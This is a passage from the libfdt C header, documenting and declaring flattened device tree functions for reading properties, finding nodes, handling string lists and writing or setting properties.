lenp); } /** * fdt_getprop_by_offset - retrieve the value of a property at a given offset * @fdt: pointer to the device tree blob * @offset: offset of the property to read * @namep: pointer to a string variable (will be overwritten) or NULL * @lenp: pointer to an integer variable (will be overwritten) or NULL * * fdt_getprop_by_offset() retrieves a pointer to the value of the * property at structure block offset 'offset' (this will be a pointer * to within the device blob itself, not a copy of the value). If * lenp is non-NULL, the length of the property value is also * returned, in the integer pointed to by lenp. If namep is non-NULL, * the property's namne will also be returned in the char * pointed to * by namep (this will be a pointer to within the device tree's string * block, not a new copy of the name). * * returns: * pointer to the property's value * if lenp is non-NULL, *lenp contains the length of the property * value (>=0) * if namep is non-NULL *namep contains a pointer to the property * name. * NULL, on error * if lenp is non-NULL, *lenp contains an error code (<0): * -FDT_ERR_BADOFFSET, nodeoffset did not point to FDT_PROP tag * -FDT_ERR_BADMAGIC, * -FDT_ERR_BADVERSION, * -FDT_ERR_BADSTATE, * -FDT_ERR_BADSTRUCTURE, * -FDT_ERR_TRUNCATED, standard meanings */ #ifndef SWIG /* This function is not useful in Python */ const void *fdt_getprop_by_offset(const void *fdt, int offset, const char **namep, int *lenp); #endif /** * fdt_getprop_namelen - get property value based on substring * @fdt: pointer to the device tree blob * @nodeoffset: offset of the node whose property to find * @name: name of the property to find * @namelen: number of characters of name to consider * @lenp: pointer to an integer variable (will be overwritten) or NULL * * Identical to fdt_getprop(), but only examine the first namelen * characters of name for matching the property name. */ #ifndef SWIG /* Not available in Python */ const void *fdt_getprop_namelen(const void *fdt, int nodeoffset, const char *name, int namelen, int *lenp); static inline void *fdt_getprop_namelen_w(void *fdt, int nodeoffset, const char *name, int namelen, int *lenp) { return (void *)(uintptr_t)fdt_getprop_namelen(fdt, nodeoffset, name, namelen, lenp); } #endif /** * fdt_getprop - retrieve the value of a given property * @fdt: pointer to the device tree blob * @nodeoffset: offset of the node whose property to find * @name: name of the property to find * @lenp: pointer to an integer variable (will be overwritten) or NULL * * fdt_getprop() retrieves a pointer to the value of the property * named 'name' of the node at offset nodeoffset (this will be a * pointer to within the device blob itself, not a copy of the value). * If lenp is non-NULL, the length of the property value is also * returned, in the integer pointed to by lenp. * * returns: * pointer to the property's value * if lenp is non-NULL, *lenp contains the length of the property * value (>=0) * NULL, on error * if lenp is non-NULL, *lenp contains an error code (<0): * -FDT_ERR_NOTFOUND, node does not have named property * -FDT_ERR_BADOFFSET, nodeoffset did not point to FDT_BEGIN_NODE * tag * -FDT_ERR_BADMAGIC, * -FDT_ERR_BADVERSION, * -FDT_ERR_BADSTATE, * -FDT_ERR_BADSTRUCTURE, * -FDT_ERR_TRUNCATED, standard meanings */ const void *fdt_getprop(const void *fdt, int nodeoffset, const char *name, int *lenp); static inline void *fdt_getprop_w(void *fdt, int nodeoffset, const char *name, int *lenp) { return (void *)(uintptr_t)fdt_getprop(fdt, nodeoffset, name, lenp); } /** * fdt_get_phandle - retrieve the phandle of a given node * @fdt: pointer to the device tree blob * @nodeoffset: structure block offset of the node * * fdt_get_phandle() retrieves the phandle of the device tree node at * structure block offset nodeoffset. * * returns: * the phandle of the node at nodeoffset, on success (!= 0, != -1) * 0, if the node has no phandle, or another error occurs */ uint32_t fdt_get_phandle(const void *fdt, int nodeoffset); /** * fdt_get_alias_namelen - get alias based on substring * @fdt: pointer to the device tree blob * @name: name of the alias th look up * @namelen: number of characters of name to consider * * Identical to fdt_get_alias(), but only examine the first namelen * characters of name for matching the alias name. */ #ifndef SWIG /* Not available in Python */ const char *fdt_get_alias_namelen(const void *fdt, const char *name, int namelen); #endif /** * fdt_get_alias - retrieve the path referenced by a given alias * @fdt: pointer to the device tree blob * @name: name of the alias th look up * * fdt_get_alias() retrieves the value of a given alias. That is, the * value of the property named 'name' in the node /aliases. * * returns: * a pointer to the expansion of the alias named 'name', if it exists * NULL, if the given alias or the /aliases node does not exist */ const char *fdt_get_alias(const void *fdt, const char *name); /** * fdt_get_path - determine the full path of a node * @fdt: pointer to the device tree blob * @nodeoffset: offset of the node whose path to find * @buf: character buffer to contain the returned path (will be overwritten) * @buflen: size of the character buffer at buf * * fdt_get_path() computes the full path of the node at offset * nodeoffset, and records that path in the buffer at buf. * * NOTE: This function is expensive, as it must scan the device tree * structure from the start to nodeoffset. * * returns: * 0, on success * buf contains the absolute path of the node at * nodeoffset, as a NUL-terminated string. * -FDT_ERR_BADOFFSET, nodeoffset does not refer to a BEGIN_NODE tag * -FDT_ERR_NOSPACE, the path of the given node is longer than (bufsize-1) * characters and will not fit in the given buffer. * -FDT_ERR_BADMAGIC, * -FDT_ERR_BADVERSION, * -FDT_ERR_BADSTATE, * -FDT_ERR_BADSTRUCTURE, standard meanings */ int fdt_get_path(const void *fdt, int nodeoffset, char *buf, int buflen); /** * fdt_supernode_atdepth_offset - find a specific ancestor of a node * @fdt: pointer to the device tree blob * @nodeoffset: offset of the node whose parent to find * @supernodedepth: depth of the ancestor to find * @nodedepth: pointer to an integer variable (will be overwritten) or NULL * * fdt_supernode_atdepth_offset() finds an ancestor of the given node * at a specific depth from the root (where the root itself has depth * 0, its immediate subnodes depth 1 and so forth). So * fdt_supernode_atdepth_offset(fdt, nodeoffset, 0, NULL); * will always return 0, the offset of the root node. If the node at * nodeoffset has depth D, then: * fdt_supernode_atdepth_offset(fdt, nodeoffset, D, NULL); * will return nodeoffset itself. * * NOTE: This function is expensive, as it must scan the device tree * structure from the start to nodeoffset. * * returns: * structure block offset of the node at node offset's ancestor * of depth supernodedepth (>=0), on success * -FDT_ERR_BADOFFSET, nodeoffset does not refer to a BEGIN_NODE tag * -FDT_ERR_NOTFOUND, supernodedepth was greater than the depth of * nodeoffset * -FDT_ERR_BADMAGIC, * -FDT_ERR_BADVERSION, * -FDT_ERR_BADSTATE, * -FDT_ERR_BADSTRUCTURE, standard meanings */ int fdt_supernode_atdepth_offset(const void *fdt, int nodeoffset, int supernodedepth, int *nodedepth); /** * fdt_node_depth - find the depth of a given node * @fdt: pointer to the device tree blob * @nodeoffset: offset of the node whose parent to find * * fdt_node_depth() finds the depth of a given node. The root node * has depth 0, its immediate subnodes depth 1 and so forth. * * NOTE: This function is expensive, as it must scan the device tree * structure from the start to nodeoffset. * * returns: * depth of the node at nodeoffset (>=0), on success * -FDT_ERR_BADOFFSET, nodeoffset does not refer to a BEGIN_NODE tag * -FDT_ERR_BADMAGIC, * -FDT_ERR_BADVERSION, * -FDT_ERR_BADSTATE, * -FDT_ERR_BADSTRUCTURE, standard meanings */ int fdt_node_depth(const void *fdt, int nodeoffset); /** * fdt_parent_offset - find the parent of a given node * @fdt: pointer to the device tree blob * @nodeoffset: offset of the node whose parent to find * * fdt_parent_offset() locates the parent node of a given node (that * is, it finds the offset of the node which contains the node at * nodeoffset as a subnode). * * NOTE: This function is expensive, as it must scan the device tree * structure from the start to nodeoffset, *twice*. * * returns: * structure block offset of the parent of the node at nodeoffset * (>=0), on success * -FDT_ERR_BADOFFSET, nodeoffset does not refer to a BEGIN_NODE tag * -FDT_ERR_BADMAGIC, * -FDT_ERR_BADVERSION, * -FDT_ERR_BADSTATE, * -FDT_ERR_BADSTRUCTURE, standard meanings */ int fdt_parent_offset(const void *fdt, int nodeoffset); /** * fdt_node_offset_by_prop_value - find nodes with a given property value * @fdt: pointer to the device tree blob * @startoffset: only find nodes after this offset * @propname: property name to check * @propval: property value to search for * @proplen: length of the value in propval * * fdt_node_offset_by_prop_value() returns the offset of the first * node after startoffset, which has a property named propname whose * value is of length proplen and has value equal to propval; or if * startoffset is -1, the very first such node in the tree. * * To iterate through all nodes matching the criterion, the following * idiom can be used: * offset = fdt_node_offset_by_prop_value(fdt, -1, propname, * propval, proplen); * while (offset != -FDT_ERR_NOTFOUND) { * // other code here * offset = fdt_node_offset_by_prop_value(fdt, offset, propname, * propval, proplen); * } * * Note the -1 in the first call to the function, if 0 is used here * instead, the function will never locate the root node, even if it * matches the criterion. * * returns: * structure block offset of the located node (>= 0, >startoffset), * on success * -FDT_ERR_NOTFOUND, no node matching the criterion exists in the * tree after startoffset * -FDT_ERR_BADOFFSET, nodeoffset does not refer to a BEGIN_NODE tag * -FDT_ERR_BADMAGIC, * -FDT_ERR_BADVERSION, * -FDT_ERR_BADSTATE, * -FDT_ERR_BADSTRUCTURE, standard meanings */ int fdt_node_offset_by_prop_value(const void *fdt, int startoffset, const char *propname, const void *propval, int proplen); /** * fdt_node_offset_by_phandle - find the node with a given phandle * @fdt: pointer to the device tree blob * @phandle: phandle value * * fdt_node_offset_by_phandle() returns the offset of the node * which has the given phandle value. If there is more than one node * in the tree with the given phandle (an invalid tree), results are * undefined. * * returns: * structure block offset of the located node (>= 0), on success * -FDT_ERR_NOTFOUND, no node with that phandle exists * -FDT_ERR_BADPHANDLE, given phandle value was invalid (0 or -1) * -FDT_ERR_BADMAGIC, * -FDT_ERR_BADVERSION, * -FDT_ERR_BADSTATE, * -FDT_ERR_BADSTRUCTURE, standard meanings */ int fdt_node_offset_by_phandle(const void *fdt, uint32_t phandle); /** * fdt_node_check_compatible: check a node's compatible property * @fdt: pointer to the device tree blob * @nodeoffset: offset of a tree node * @compatible: string to match against * * * fdt_node_check_compatible() returns 0 if the given node contains a * 'compatible' property with the given string as one of its elements, * it returns non-zero otherwise, or on error. * * returns: * 0, if the node has a 'compatible' property listing the given string * 1, if the node has a 'compatible' property, but it does not list * the given string * -FDT_ERR_NOTFOUND, if the given node has no 'compatible' property * -FDT_ERR_BADOFFSET, if nodeoffset does not refer to a BEGIN_NODE tag * -FDT_ERR_BADMAGIC, * -FDT_ERR_BADVERSION, * -FDT_ERR_BADSTATE, * -FDT_ERR_BADSTRUCTURE, standard meanings */ int fdt_node_check_compatible(const void *fdt, int nodeoffset, const char *compatible); /** * fdt_node_offset_by_compatible - find nodes with a given 'compatible' value * @fdt: pointer to the device tree blob * @startoffset: only find nodes after this offset * @compatible: 'compatible' string to match against * * fdt_node_offset_by_compatible() returns the offset of the first * node after startoffset, which has a 'compatible' property which * lists the given compatible string; or if startoffset is -1, the * very first such node in the tree. * * To iterate through all nodes matching the criterion, the following * idiom can be used: * offset = fdt_node_offset_by_compatible(fdt, -1, compatible); * while (offset != -FDT_ERR_NOTFOUND) { * // other code here * offset = fdt_node_offset_by_compatible(fdt, offset, compatible); * } * * Note the -1 in the first call to the function, if 0 is used here * instead, the function will never locate the root node, even if it * matches the criterion. * * returns: * structure block offset of the located node (>= 0, >startoffset), * on success * -FDT_ERR_NOTFOUND, no node matching the criterion exists in the * tree after startoffset * -FDT_ERR_BADOFFSET, nodeoffset does not refer to a BEGIN_NODE tag * -FDT_ERR_BADMAGIC, * -FDT_ERR_BADVERSION, * -FDT_ERR_BADSTATE, * -FDT_ERR_BADSTRUCTURE, standard meanings */ int fdt_node_offset_by_compatible(const void *fdt, int startoffset, const char *compatible); /** * fdt_stringlist_contains - check a string list property for a string * @strlist: Property containing a list of strings to check * @listlen: Length of property * @str: String to search for * * This is a utility function provided for convenience. The list contains * one or more strings, each terminated by \0, as is found in a device tree * "compatible" property. * * @return: 1 if the string is found in the list, 0 not found, or invalid list */ int fdt_stringlist_contains(const char *strlist, int listlen, const char *str); /** * fdt_stringlist_count - count the number of strings in a string list * @fdt: pointer to the device tree blob * @nodeoffset: offset of a tree node * @property: name of the property containing the string list * @return: * the number of strings in the given property * -FDT_ERR_BADVALUE if the property value is not NUL-terminated * -FDT_ERR_NOTFOUND if the property does not exist */ int fdt_stringlist_count(const void *fdt, int nodeoffset, const char *property); /** * fdt_stringlist_search - find a string in a string list and return its index * @fdt: pointer to the device tree blob * @nodeoffset: offset of a tree node * @property: name of the property containing the string list * @string: string to look up in the string list * * Note that it is possible for this function to succeed on property values * that are not NUL-terminated. That's because the function will stop after * finding the first occurrence of @string. This can for example happen with * small-valued cell properties, such as #address-cells, when searching for * the empty string. * * @return: * the index of the string in the list of strings * -FDT_ERR_BADVALUE if the property value is not NUL-terminated * -FDT_ERR_NOTFOUND if the property does not exist or does not contain * the given string */ int fdt_stringlist_search(const void *fdt, int nodeoffset, const char *property, const char *string); /** * fdt_stringlist_get() - obtain the string at a given index in a string list * @fdt: pointer to the device tree blob * @nodeoffset: offset of a tree node * @property: name of the property containing the string list * @index: index of the string to return * @lenp: return location for the string length or an error code on failure * * Note that this will successfully extract strings from properties with * non-NUL-terminated values. For example on small-valued cell properties * this function will return the empty string. * * If non-NULL, the length of the string (on success) or a negative error-code * (on failure) will be stored in the integer pointer to by lenp. * * @return: * A pointer to the string at the given index in the string list or NULL on * failure. On success the length of the string will be stored in the memory * location pointed to by the lenp parameter, if non-NULL. On failure one of * the following negative error codes will be returned in the lenp parameter * (if non-NULL): * -FDT_ERR_BADVALUE if the property value is not NUL-terminated * -FDT_ERR_NOTFOUND if the property does not exist */ const char *fdt_stringlist_get(const void *fdt, int nodeoffset, const char *property, int index, int *lenp); /**********************************************************************/ /* Read-only functions (addressing related) */ /**********************************************************************/ /** * FDT_MAX_NCELLS - maximum value for #address-cells and #size-cells * * This is the maximum value for #address-cells, #size-cells and * similar properties that will be processed by libfdt. IEE1275 * requires that OF implementations handle values up to 4. * Implementations may support larger values, but in practice higher * values aren't used. */ #define FDT_MAX_NCELLS 4 /** * fdt_address_cells - retrieve address size for a bus represented in the tree * @fdt: pointer to the device tree blob * @nodeoffset: offset of the node to find the address size for * * When the node has a valid #address-cells property, returns its value. * * returns: * 0 <= n < FDT_MAX_NCELLS, on success * 2, if the node has no #address-cells property * -FDT_ERR_BADNCELLS, if the node has a badly formatted or invalid * #address-cells property * -FDT_ERR_BADMAGIC, * -FDT_ERR_BADVERSION, * -FDT_ERR_BADSTATE, * -FDT_ERR_BADSTRUCTURE, * -FDT_ERR_TRUNCATED, standard meanings */ int fdt_address_cells(const void *fdt, int nodeoffset); /** * fdt_size_cells - retrieve address range size for a bus represented in the * tree * @fdt: pointer to the device tree blob * @nodeoffset: offset of the node to find the address range size for * * When the node has a valid #size-cells property, returns its value. * * returns: * 0 <= n < FDT_MAX_NCELLS, on success * 1, if the node has no #size-cells property * -FDT_ERR_BADNCELLS, if the node has a badly formatted or invalid * #size-cells property * -FDT_ERR_BADMAGIC, * -FDT_ERR_BADVERSION, * -FDT_ERR_BADSTATE, * -FDT_ERR_BADSTRUCTURE, * -FDT_ERR_TRUNCATED, standard meanings */ int fdt_size_cells(const void *fdt, int nodeoffset); /**********************************************************************/ /* Write-in-place functions */ /**********************************************************************/ /** * fdt_setprop_inplace_namelen_partial - change a property's value, * but not its size * @fdt: pointer to the device tree blob * @nodeoffset: offset of the node whose property to change * @name: name of the property to change * @namelen: number of characters of name to consider * @idx: index of the property to change in the array * @val: pointer to data to replace the property value with * @len: length of the property value * * Identical to fdt_setprop_inplace(), but modifies the given property * starting from the given index, and using only the first characters * of the name. It is useful when you want to manipulate only one value of * an array and you have a string that doesn't end with \0. */ #ifndef SWIG /* Not available in Python */ int fdt_setprop_inplace_namelen_partial(void *fdt, int nodeoffset, const char *name, int namelen, uint32_t idx, const void *val, int len); #endif /** * fdt_setprop_inplace - change a property's value, but not its size * @fdt: pointer to the device tree blob * @nodeoffset: offset of the node whose property to change * @name: name of the property to change * @val: pointer to data to replace the property value with * @len: length of the property value * * fdt_setprop_inplace() replaces the value of a given property with * the data in val, of length len. This function cannot change the * size of a property, and so will only work if len is equal to the * current length of the property. * * This function will alter only the bytes in the blob which contain * the given property value, and will not alter or move any other part * of the tree. * * returns: * 0, on success * -FDT_ERR_NOSPACE, if len is not equal to the property's current length * -FDT_ERR_NOTFOUND, node does not have the named property * -FDT_ERR_BADOFFSET, nodeoffset did not point to FDT_BEGIN_NODE tag * -FDT_ERR_BADMAGIC, * -FDT_ERR_BADVERSION, * -FDT_ERR_BADSTATE, * -FDT_ERR_BADSTRUCTURE, * -FDT_ERR_TRUNCATED, standard meanings */ #ifndef SWIG /* Not available in Python */ int fdt_setprop_inplace(void *fdt, int nodeoffset, const char *name, const void *val, int len); #endif /** * fdt_setprop_inplace_u32 - change the value of a 32-bit integer property * @fdt: pointer to the device tree blob * @nodeoffset: offset of the node whose property to change * @name: name of the property to change * @val: 32-bit integer value to replace the property with * * fdt_setprop_inplace_u32() replaces the value of a given property * with the 32-bit integer value in val, converting val to big-endian * if necessary. This function cannot change the size of a property, * and so will only work if the property already exists and has length * 4. * * This function will alter only the bytes in the blob which contain * the given property value, and will not alter or move any other part * of the tree. * * returns: * 0, on success * -FDT_ERR_NOSPACE, if the property's length is not equal to 4 * -FDT_ERR_NOTFOUND, node does not have the named property * -FDT_ERR_BADOFFSET, nodeoffset did not point to FDT_BEGIN_NODE tag * -FDT_ERR_BADMAGIC, * -FDT_ERR_BADVERSION, * -FDT_ERR_BADSTATE, * -FDT_ERR_BADSTRUCTURE, * -FDT_ERR_TRUNCATED, standard meanings */ static inline int fdt_setprop_inplace_u32(void *fdt, int nodeoffset, const char *name, uint32_t val) { fdt32_t tmp = cpu_to_fdt32(val); return fdt_setprop_inplace(fdt, nodeoffset, name, &tmp, sizeof(tmp)); } /** * fdt_setprop_inplace_u64 - change the value of a 64-bit integer property * @fdt: pointer to the device tree blob * @nodeoffset: offset of the node whose property to change * @name: name of the property to change * @val: 64-bit integer value to replace the property with * * fdt_setprop_inplace_u64() replaces the value of a given property * with the 64-bit integer value in val, converting val to big-endian * if necessary. This function cannot change the size of a property, * and so will only work if the property already exists and has length * 8. * * This function will alter only the bytes in the blob which contain * the given property value, and will not alter or move any other part * of the tree. * * returns: * 0, on success * -FDT_ERR_NOSPACE, if the property's length is not equal to 8 * -FDT_ERR_NOTFOUND, node does not have the named property * -FDT_ERR_BADOFFSET, nodeoffset did not point to FDT_BEGIN_NODE tag * -FDT_ERR_BADMAGIC, * -FDT_ERR_BADVERSION, * -FDT_ERR_BADSTATE, * -FDT_ERR_BADSTRUCTURE, * -FDT_ERR_TRUNCATED, standard meanings */ static inline int fdt_setprop_inplace_u64(void *fdt, int nodeoffset, const char *name, uint64_t val) { fdt64_t tmp = cpu_to_fdt64(val); return fdt_setprop_inplace(fdt, nodeoffset, name, &tmp, sizeof(tmp)); } /** * fdt_setprop_inplace_cell - change the value of a single-cell property * * This is an alternative name for fdt_setprop_inplace_u32() */ static inline int fdt_setprop_inplace_cell(void *fdt, int nodeoffset, const char *name, uint32_t val) { return fdt_setprop_inplace_u32(fdt, nodeoffset, name, val); } /** * fdt_nop_property - replace a property with nop tags * @fdt: pointer to the device tree blob * @nodeoffset: offset of the node whose property to nop * @name: name of the property to nop * * fdt_nop_property() will replace a given property's representation * in the blob with FDT_NOP tags, effectively removing it from the * tree. * * This function will alter only the bytes in the blob which contain * the property, and will not alter or move any other part of the * tree. * * returns: * 0, on success * -FDT_ERR_NOTFOUND, node does not have the named property * -FDT_ERR_BADOFFSET, nodeoffset did not point to FDT_BEGIN_NODE tag * -FDT_ERR_BADMAGIC, * -FDT_ERR_BADVERSION, * -FDT_ERR_BADSTATE, * -FDT_ERR_BADSTRUCTURE, * -FDT_ERR_TRUNCATED, standard meanings */ int fdt_nop_property(void *fdt, int nodeoffset, const char *name); /** * fdt_nop_node - replace a node (subtree) with nop tags * @fdt: pointer to the device tree blob * @nodeoffset: offset of the node to nop * * fdt_nop_node() will replace a given node's representation in the * blob, including all its subnodes, if any, with FDT_NOP tags, * effectively removing it from the tree. * * This function will alter only the bytes in the blob which contain * the node and its properties and subnodes, and will not alter or * move any other part of the tree. * * returns: * 0, on success * -FDT_ERR_BADOFFSET, nodeoffset did not point to FDT_BEGIN_NODE tag * -FDT_ERR_BADMAGIC, * -FDT_ERR_BADVERSION, * -FDT_ERR_BADSTATE, * -FDT_ERR_BADSTRUCTURE, * -FDT_ERR_TRUNCATED, standard meanings */ int fdt_nop_node(void *fdt, int nodeoffset); /**********************************************************************/ /* Sequential write functions */ /**********************************************************************/ /* fdt_create_with_flags flags */ #define FDT_CREATE_FLAG_NO_NAME_DEDUP 0x1 /* FDT_CREATE_FLAG_NO_NAME_DEDUP: Do not try to de-duplicate property * names in the fdt. This can result in faster creation times, but * a larger fdt. */ #define FDT_CREATE_FLAGS_ALL (FDT_CREATE_FLAG_NO_NAME_DEDUP) /** * fdt_create_with_flags - begin creation of a new fdt * @fdt: pointer to memory allocated where fdt will be created * @bufsize: size of the memory space at fdt * @flags: a valid combination of FDT_CREATE_FLAG_ flags, or 0. * * fdt_create_with_flags() begins the process of creating a new fdt with * the sequential write interface. * * fdt creation process must end with fdt_finished() to produce a valid fdt. * * returns: * 0, on success * -FDT_ERR_NOSPACE, bufsize is insufficient for a minimal fdt * -FDT_ERR_BADFLAGS, flags is not valid */ int fdt_create_with_flags(void *buf, int bufsize, uint32_t flags); /** * fdt_create - begin creation of a new fdt * @fdt: pointer to memory allocated where fdt will be created * @bufsize: size of the memory space at fdt * * fdt_create() is equivalent to fdt_create_with_flags() with flags=0. * * returns: * 0, on success * -FDT_ERR_NOSPACE, bufsize is insufficient for a minimal fdt */ int fdt_create(void *buf, int bufsize); int fdt_resize(void *fdt, void *buf, int bufsize); int fdt_add_reservemap_entry(void *fdt, uint64_t addr, uint64_t size); int fdt_finish_reservemap(void *fdt); int fdt_begin_node(void *fdt, const char *name); int fdt_property(void *fdt, const char *name, const void *val, int len); static inline int fdt_property_u32(void *fdt, const char *name, uint32_t val) { fdt32_t tmp = cpu_to_fdt32(val); return fdt_property(fdt, name, &tmp, sizeof(tmp)); } static inline int fdt_property_u64(void *fdt, const char *name, uint64_t val) { fdt64_t tmp = cpu_to_fdt64(val); return fdt_property(fdt, name, &tmp, sizeof(tmp)); } #ifndef SWIG /* Not available in Python */ static inline int fdt_property_cell(void *fdt, const char *name, uint32_t val) { return fdt_property_u32(fdt, name, val); } #endif /** * fdt_property_placeholder - add a new property and return a ptr to its value * * @fdt: pointer to the device tree blob * @name: name of property to add * @len: length of property value in bytes * @valp: returns a pointer to where the value should be placed * * returns: * 0, on success * -FDT_ERR_BADMAGIC, * -FDT_ERR_NOSPACE, standard meanings */ int fdt_property_placeholder(void *fdt, const char *name, int len, void **valp); #define fdt_property_string(fdt, name, str) \ fdt_property(fdt, name, str, strlen(str)+1) int fdt_end_node(void *fdt); int fdt_finish(void *fdt); /**********************************************************************/ /* Read-write functions */ /**********************************************************************/ int fdt_create_empty_tree(void *buf, int bufsize); int fdt_open_into(const void *fdt, void *buf, int bufsize); int fdt_pack(void *fdt); /** * fdt_add_mem_rsv - add one memory reserve map entry * @fdt: pointer to the device tree blob * @address, @size: 64-bit values (native endian) * * Adds a reserve map entry to the given blob reserving a region at * address of length size. * * This function will insert data into the reserve map and will * therefore change the indexes of some entries in the table. * * returns: * 0, on success * -FDT_ERR_NOSPACE, there is insufficient free space in the blob to * contain the new reservation entry * -FDT_ERR_BADMAGIC, * -FDT_ERR_BADVERSION, * -FDT_ERR_BADSTATE, * -FDT_ERR_BADSTRUCTURE, * -FDT_ERR_BADLAYOUT, * -FDT_ERR_TRUNCATED, standard meanings */ int fdt_add_mem_rsv(void *fdt, uint64_t address, uint64_t size); /** * fdt_del_mem_rsv - remove a memory reserve map entry * @fdt: pointer to the device tree blob * @n: entry to remove * * fdt_del_mem_rsv() removes the n-th memory reserve map entry from * the blob. * * This function will delete data from the reservation table and will * therefore change the indexes of some entries in the table. * * returns: * 0, on success * -FDT_ERR_NOTFOUND, there is no entry of the given index (i.e. there * are less than n+1 reserve map entries) * -FDT_ERR_BADMAGIC, * -FDT_ERR_BADVERSION, * -FDT_ERR_BADSTATE, * -FDT_ERR_BADSTRUCTURE, * -FDT_ERR_BADLAYOUT, * -FDT_ERR_TRUNCATED, standard meanings */ int fdt_del_mem_rsv(void *fdt, int n); /** * fdt_set_name - change the name of a given node * @fdt: pointer to the device tree blob * @nodeoffset: structure block offset of a node * @name: name to give the node * * fdt_set_name() replaces the name (including unit address, if any) * of the given node with the given string. NOTE: this function can't * efficiently check if the new name is unique amongst the given * node's siblings; results are undefined if this function is invoked * with a name equal to one of the given node's siblings. * * This function may insert or delete data from the blob, and will * therefore change the offsets of some existing nodes. * * returns: * 0, on success * -FDT_ERR_NOSPACE, there is insufficient free space in the blob * to contain the new name * -FDT_ERR_BADOFFSET, nodeoffset did not point to FDT_BEGIN_NODE tag * -FDT_ERR_BADMAGIC, * -FDT_ERR_BADVERSION, * -FDT_ERR_BADSTATE, standard meanings */ int fdt_set_name(void *fdt, int nodeoffset, const char *name); /** * fdt_setprop - create or change a property * @fdt: pointer to the device tree blob * @nodeoffset: offset of the node whose property to change * @name: name of the property to change * @val: pointer to data to set the property value to * @len: length of the property value * * fdt_setprop() sets the value of the named property in the given * node to the given value and length, creating the property if it * does not already exist. * * This function may insert or delete data from the blob, and will * therefore change the offsets of some existing nodes. * * returns: * 0, on success * -FDT_ERR_NOSPACE, there is insufficient free space in the blob to * contain the new property value * -FDT_ERR_BADOFFSET, nodeoffset did not point to FDT_BEGIN_NODE tag * -FDT_ERR_BADLAYOUT, * -FDT_ERR_BADMAGIC, * -FDT_ERR_BADVERSION, * -FDT_ERR_BADSTATE, * -FDT_ERR_BADSTRUCTURE, * -FDT_ERR_BADLAYOUT, * -FDT_ERR_TRUNCATED, standard meanings */ int fdt_setprop(void *fdt, int nodeoffset, const char *name, const void *val, int len); /** * fdt_setprop_placeholder - allocate space for a property * @fdt: pointer to the device tree blob * @nodeoffset: offset of the node whose property to change * @name: name of the property to change * @len: length of the property value * @prop_data: return pointer to property data * * fdt_setprop_placeholder() allocates the named property in the given node. * If the property exists it is resized. In either case a pointer to the * property data is returned. * * This function may insert or delete data from the blob, and will * therefore change the offsets of some existing nodes. * * returns: * 0, on success * -FDT_ERR_NOSPACE, there is insufficient free space in the blob to * contain the new property value * -FDT_ERR_BADOFFSET, nodeoffset did not point to FDT_BEGIN_NODE tag * -FDT_ERR_BADLAYOUT, * -FDT_ERR_BADMAGIC, * -FDT_ERR_BADVERSION, * -FDT_ERR_BADSTATE, * -FDT_ERR_BADSTRUCTURE, * -FDT_ERR_BADLAYOUT, * -FDT_ERR_TRUNCATED, standard meanings */ int fdt_setprop_placeholder(void *fdt, int nodeoffset, const char *name, int len, void **prop_data); /** * fdt_setprop_u32 - set a property to a 32-bit integer * @fdt: pointer to the device tree blob * @nodeoffset: offset of the node whose property to change * @name: name of the property to change * @val: 32-bit integer value for the property (native endian) * * fdt_setprop_u32() sets the value of the named property in the given * node to the given 32-bit integer value (converting to big-endian if * necessary), or creates a new property with that value if it does * not already exist. * * This function may insert or delete data from the blob, and will * therefore change the offsets of some existing nodes. * * returns: * 0, on success * -FDT_ERR_NOSPACE, there is insufficient free space in the blob to * contain the new property value * -FDT_ERR_BADOFFSET, nodeoffset did not point to FDT_BEGIN_NODE tag * -FDT_ERR_BADLAYOUT, * -FDT_ERR_BADMAGIC, * -FDT_ERR_BADVERSION, * -FDT_ERR_BADSTATE, * -FDT_ERR_BADSTRUCTURE, * -FDT_ERR_BADLAYOUT, * -FDT_ERR_TRUNCATED, standard meanings */ static inline int fdt_setprop_u32(void *fdt, int nodeoffset, const char *name, uint32_t val) { fdt32_t tmp = cpu_to_fdt32(val); return fdt_setprop(fdt, nodeoffset, name, &tmp, sizeof(tmp)); } /** * fdt_setprop_u64 - set a property to a 64-bit integer * @fdt: pointer to the device tree blob * @nodeoffset: offset of the node whose property to change * @name: name of the property to change * @val: 64-bit integer value for the property (native endian) * * fdt_setprop_u64() sets the value of the named property in the given * node to the given 64-bit integer value (converting to big-endian if * necessary), or creates a new property with that value if it does * not already exist. * * This function may insert or delete data from the blob, and will * therefore change the offsets of some existing nodes. * * returns: * 0, on success * -FDT_ERR_NOSPACE, there is insufficient free space in the blob to * contain the new property value * -FDT_ERR_BADOFFSET, nodeoffset did not point to FDT_BEGIN_NODE tag * -FDT_ERR_BADLAYOUT, * -FDT_ERR_BADMAGIC, * -FDT_ERR_BADVERSION, * -FDT_ERR_BADSTATE, * -FDT_ERR_BADSTRUCTURE, * -FDT_ERR_BADLAYOUT, * -FDT_ERR_TRUNCATED, standard meanings */ static inline int fdt_setprop_u64(void *fdt, int nodeoffset, const char *name, uint64_t val) { fdt64_t tmp = cpu_to_fdt64(val); return fdt_setprop(fdt, nodeoffset, name, &tmp, sizeof(tmp)); } /** * fdt_setprop_cell - set a property to a single cell value * * This is an alternative name for fdt_setprop_u32() */ static inline int fdt_setprop_cell(void *fdt, int nodeoffset, const char *name, uint32_t val) { return fdt_setprop_u32(fdt, nodeoffset, name, val); } /** * fdt_setprop_string - set a property to a string value * @fdt: pointer to the device tree blob * @nodeoffset: offset of the node whose property to change * @name: name of the property to change * @str: string value for the property * * fdt_setprop_string() sets the value of the named property in the * given node to the given string value (using the length of the * string to determine the new length of the property), or creates a * new property with that value if it does not already exist. * * This function may insert or delete data from the blob, and will * therefore change the offsets of some existing nodes. * * returns: * 0, on success * -FDT_ERR_NOSPACE, there is insufficient free space in the blob to * contain the new property value * -FDT_ERR_BADOFFSET, nodeoffset did not point to FDT_BEGIN_NODE tag * -FDT_ERR_BADLAYOUT, * -FDT_ERR_BADMAGIC, * -FDT_ERR_BADVERSION, * -FDT_ERR_BADSTATE, * -FDT_ERR_BADSTRUCTURE, * -FDT_ERR_BADLAYOUT, * -FDT_ERR_TRUNCATED, standard meanings */ #define fdt_setprop_string(fdt, nodeoffset, name, str) \ fdt_setprop((fdt), (nodeoffset), (name), (str), strlen(str)+1) /** * fdt_setprop_empty - set a property to an empty value * @fdt: pointer to the device tree blob * @nodeoffset: offset of the node whose property to change * @name: name of the property to change * * fdt_setprop_empty() sets the value of the named property in the * given node to an empty (zero length) value, or creates a new empty * property if it does not already exist. * * This function may insert or delete data from the blob, and will * therefore change the offsets of some existing nodes. * * returns: * 0, on success * -FDT_ERR_NOSPACE, there is insufficient free space in the blob to * contain the new property value * 